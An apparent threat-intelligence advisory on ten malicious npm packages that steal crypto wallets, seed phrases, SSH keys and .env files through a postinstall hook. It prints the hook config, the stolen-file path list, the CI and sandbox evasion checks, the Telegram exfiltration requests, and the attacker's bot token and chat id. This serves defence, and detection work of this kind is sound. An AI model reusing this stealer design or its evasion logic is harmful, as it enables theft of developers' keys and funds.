TL;DR
On 9 June 2026 a single npm publisher account, aicrypto-xzggg, shipped
ten packages with crypto- and Web3-flavored names — farming-tools-12,
swap-sdk-87, defi-tools-39, wallet-sdk-9, and six more.
Every package runs the same payload from a postinstall hook. On install, it checks
whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files,
SSH keys, and .env files from across six blockchain ecosystems and transmits them to a
Telegram bot.
The single indicator a defender can hunt for immediately is the Telegram bot id
8227918239.
Severity: critical — direct theft of signing keys and recovery phrases from developer workstations.
The Attack: How It Works
The packages advertise themselves as blockchain developer utilities. The package.json is minimal and points the install lifecycle at a script:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
} scripts/postinstall.js is a one-line shim that loads the real payload: require(“../src/index.js”). Because postinstall runs automatically during npm install, no code import by the developer is required — placing the package in a dependency tree is enough to execute it.
The kill chain inside src/index.js is four steps:
- Environment check. A guard function decides whether the host looks like a build agent or analysis sandbox.
- Delay. Execution is deferred behind a setTimeout of roughly 7.4 seconds.
- Collection. A fixed list of wallet, key, and secret file paths is walked; existing files are queued.
- Exfiltration. Queued files are sent to a Telegram bot, preceded by a summary message.
The collection target list spans six chains plus generic developer secrets. Trimmed:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Twenty-one paths in total. Directory entries such as ~/.ethereum/keystore are expanded and every file inside is queued. The exfiltration uses the Telegram Bot API directly — a sendMessage call with a host and file summary, then a sendDocument multipart upload for each file:
text
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file) The summary message the code assembles begins with the literal string CRYPTO STEALER, followed by the hostname, username, originating package name, file count, and timestamp.
What’s new here
The differentiator is not the theft mechanism — Telegram-based exfil from npm postinstall hooks is well-trodden. It is the execution gate. Before doing anything, the payload calls a function that returns true when the host resembles a CI runner or sandbox, and returns early when it does:
text
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape) The container-id regex is the notable clause: a 12-hex-character hostname is the default shape Docker assigns to a container, so the payload treats “my hostname looks like a Docker container” as a reason to stay dormant. Combined with the seven-second delay, the design favors running on a developer’s real workstation and staying quiet anywhere that looks like automated analysis. That gate is what suppressed dynamic-analysis signals and kept the static exfil flow as the primary conviction evidence.
Timeline
| Date (UTC) | Event |
|---|---|
| 2026-06-09 ~02:48 | First packages in the cluster flagged on publication (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Higher-versioned members flagged (ethereum-kit-9 at 1.25.36, wallet-sdk-9 at 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Final members flagged (defi-tools-39 at 4.26.29, swap-sdk-87 at 4.63.78, farming-tools-12 at 4.68.54) |
| 2026-06-09 | All ten classified malicious and reported for registry removal |
All ten surfaced inside roughly seventy minutes, consistent with a single scripted publishing run from one account.
Indicators of Compromise
Network and behavioral indicators (host defanged):
| Indicator | Value |
|---|---|
| Exfil endpoint | api[.]telegram[.]org (Telegram Bot API) |
| Telegram bot id | 8227918239 |
| Bot token | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram chat id | 6433587894 |
| Install hook | postinstall → scripts/postinstall.js → src/index.js |
| Marker string | CRYPTO STEALER in the assembled summary message |
| Publisher | aicrypto-xzggg (stated email vipsyria88@gmail[.]com, unverified) |
Packages and versions, each with the SHA-256 of its src/index.js payload (the payloads are functionally identical and differ only in the embedded package-name label, so each hash is distinct):
| Package | Version | SHA-256 of src/index.js |
|---|---|---|
farming-tools-12 |
4.68.54 |
b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 |
4.63.78 |
9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 |
4.26.29 |
ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 |
3.7.73 |
ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 |
1.25.36 |
c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 |
1.0.0 |
1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 |
1.0.0 |
93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 |
1.0.0 |
db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 |
1.0.0 |
59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 |
1.0.0 |
053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
A simple hunting query: search install logs and lockfiles for any of the ten names, and search outbound traffic for connections to the Telegram Bot API from build or developer hosts that do not otherwise use it.
Attribution & Observed Behavior
All ten packages were published by one account, aicrypto-xzggg, whose stated email is vipsyria88@gmail[.]com. Both the email and the source-control link are unverified in the registry metadata, and the account carries a strongly negative reputation score. We have not confirmed who operates the account.
Two details are worth separating from any identity claim. First, the package.json author field reads Alex Smith on every package, while the actual publishing account is aicrypto-xzggg; the author field is self-declared metadata and does not establish authorship. Second, the version numbers vary widely — some members sit at 1.0.0, others at 4.68.54 — which is consistent with reusing a single payload across freshly minted package names rather than maintaining real release histories.
The behavior is uniform across the cluster: the same target path list, the same Telegram bot id and chat id, the same environment gate, the same CRYPTO STEALER marker. That uniformity is the strongest link between the packages. It is a same-operator signal, not an identity.
Impact, Trends & Guidance for Defenders
The exposure is concrete. A developer who installs any of these packages on a workstation that holds a software wallet, a seed-phrase file, or an SSH key has those files read and transmitted off the host within seconds. Recovery phrases and signing keys do not expire the way a session token does; once a mnemonic.txt or a Solana id.json leaves the machine, the funds it controls are at risk until they are moved. The same run also captures .env files, which routinely carry API keys and database credentials.
Two trends sit behind this cluster. The first is the continued use of crypto- and Web3-themed names to court a specific audience — developers who keep wallets and keys on the same machine they install dependencies on. The second is the maturing of sandbox evasion in install-time payloads. A gate that checks for CI environment variables, runner usernames, and a Docker container-id hostname shape is a deliberate effort to behave differently under analysis than on a real workstation, and it raises the bar for purely dynamic detection.
For defenders:
Install with scripts disabled by default. npm install –ignore-scripts, or set ignore-scripts=true in .npmrc, prevents postinstall execution; enable scripts only for the specific dependencies that genuinely need them.
Keep wallets and signing keys off build and development machines. Use a hardware wallet or a dedicated, dependency-free signing host.
Treat .env, keystores, and seed-phrase files as crown jewels. They should never sit in a directory that is also an npm install working tree.
Hunt for outbound connections to the Telegram Bot API from CI and developer hosts. Most build environments never call it; one that suddenly does, right after an install, is worth investigating.
Pin and review dependencies. A brand-new package with a generic crypto name, a postinstall hook, and no repository link warrants a look before it enters a lockfile.
The container-id evasion clause is also a reminder for analysts: an install-time payload that stays dormant in a sandbox is not benign, it is selective. Static review of the install path remains the reliable way to see what dynamic execution may decline to show.
References
npm install documentation — lifecycle scripts and –ignore-scripts— reference for disabling automatic install hooks.




